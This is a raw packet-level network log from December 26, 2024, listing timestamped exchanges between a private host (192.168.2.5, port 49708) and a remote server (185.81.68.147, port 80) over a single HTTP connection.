Dec 26, 2024 12:05:08.051037073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.051848888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.051903009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.051939964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.051980972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.052936077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.052992105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.053069115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.053109884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.053980112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.054023981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.054059029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.054102898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.055022001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.055064917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.055136919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.055210114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.056001902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.056042910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.056072950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.056113005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.057009935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.057051897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.057213068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.057305098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.058063984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.058140039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.058280945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.058321953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.059091091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.059130907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.059163094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.059201002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.060069084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.060117960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.060142040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.060157061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.061084986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.061116934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.061176062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.061212063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.062120914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.062159061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.062232971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.062283039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.063134909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.063194990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.063240051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.063282013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.064153910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.064210892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.064302921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.064342976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.065251112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.065289974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.065479040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.065526009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.066224098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.066267014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.066304922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.066351891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.067218065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.067257881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.067306995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.067338943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.068298101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.068335056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.068422079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.068469048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.069276094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.069315910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.069485903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.069520950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.070619106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.070669889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.070696115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.070708990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.071330070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.071369886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.071505070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.071542978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.072365046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.072408915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.072463989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.072501898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.073409081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.073446989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.073456049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.073498011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.074402094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.074435949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.074512005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.074553967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.075421095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.075467110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.075539112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.075582027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.076466084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.076513052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.076545000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.076586008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.077480078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.077524900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.077536106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.077572107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.078495979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.078552961 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.078598022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.078645945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.079555988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.079602957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.079665899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.079706907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.080562115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.080600977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.080646038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.080682039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.081594944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.081638098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.081717014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.081758022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.082654953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.082695007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.082731962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.082770109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.083700895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.083750010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.083760023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.083797932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.084666014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.084707975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.084842920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.084886074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.085681915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.085726976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.085783958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.085825920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.086700916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.086787939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.086817980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.086860895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.087747097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.087793112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.087831020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.087869883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.088793039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.088836908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.088901997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.088944912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.089792013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.089838028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.089890957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.089935064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.090827942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.090868950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.090934992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.090971947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.091837883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.091881037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.249347925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.249464035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.249492884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.249517918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.249716043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.249772072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.249811888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.249855042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.250720978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.250771046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.250874043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.250917912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.251765013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.251811981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.251885891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.251951933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.252759933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.252805948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.252876043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.252922058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.253803968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.253859043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.253881931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.253926992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.254970074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.255013943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.255096912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.255147934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.256079912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.256143093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.256153107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.256196976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.256881952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.256925106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.256967068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.257008076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.257942915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.257997990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.258074045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.258112907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.258908987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.258950949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.259016991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.259077072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.259934902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.259984970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.260112047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.260153055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.260994911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.261044025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.261054039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.261104107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.261998892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.262043953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.262100935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.262144089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.263025045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.263073921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.263216019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.263261080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.264051914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.264100075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.264235973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.264281988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.265032053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.265077114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.265130997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.265177011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.266074896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.266089916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.266132116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.267100096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.267143965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.267349958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.267393112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.268151045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.268199921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.268332005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.268374920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.269157887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.269179106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.269198895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.269221067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.270180941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.270236015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.270304918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.270350933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.271186113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.271229982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.271296978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.271342993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.272217035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.272262096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.272324085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.272365093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.273260117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.273303986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.273370981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.273413897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.274437904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.274485111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.274571896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.274620056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.275291920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.275333881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.275401115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.275444031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.276397943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.276443005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.276474953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.276518106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.277364016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.277405024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.277481079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.277523041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.278523922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.278570890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.278594017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.278650045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.279381037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.279424906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.279489040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.279531002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.280453920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.280493975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.280508041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.280544996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.281533957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.281575918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.281644106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.281683922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.282496929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.282546997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.282586098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.282632113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.283581018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.283627033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.283710957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.283756971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.284614086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.284661055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.284703016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.284749985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.285537004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.285583973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.285640955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.285691023 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.286550045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.286597013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.286642075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.286684990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.287599087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.287648916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.287686110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.287727118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.288619041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.288670063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.288758993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.288804054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.289618015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.289666891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.289747000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.289789915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.290802956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.290846109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.290853977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.290884972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.291716099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.291764975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.291775942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.291819096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.292726994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.292774916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.292853117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.292901039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.293798923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.293848991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.293880939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.293920994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.294819117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.294867039 CET	49708	80	192.168.2.5	185.81.68.147
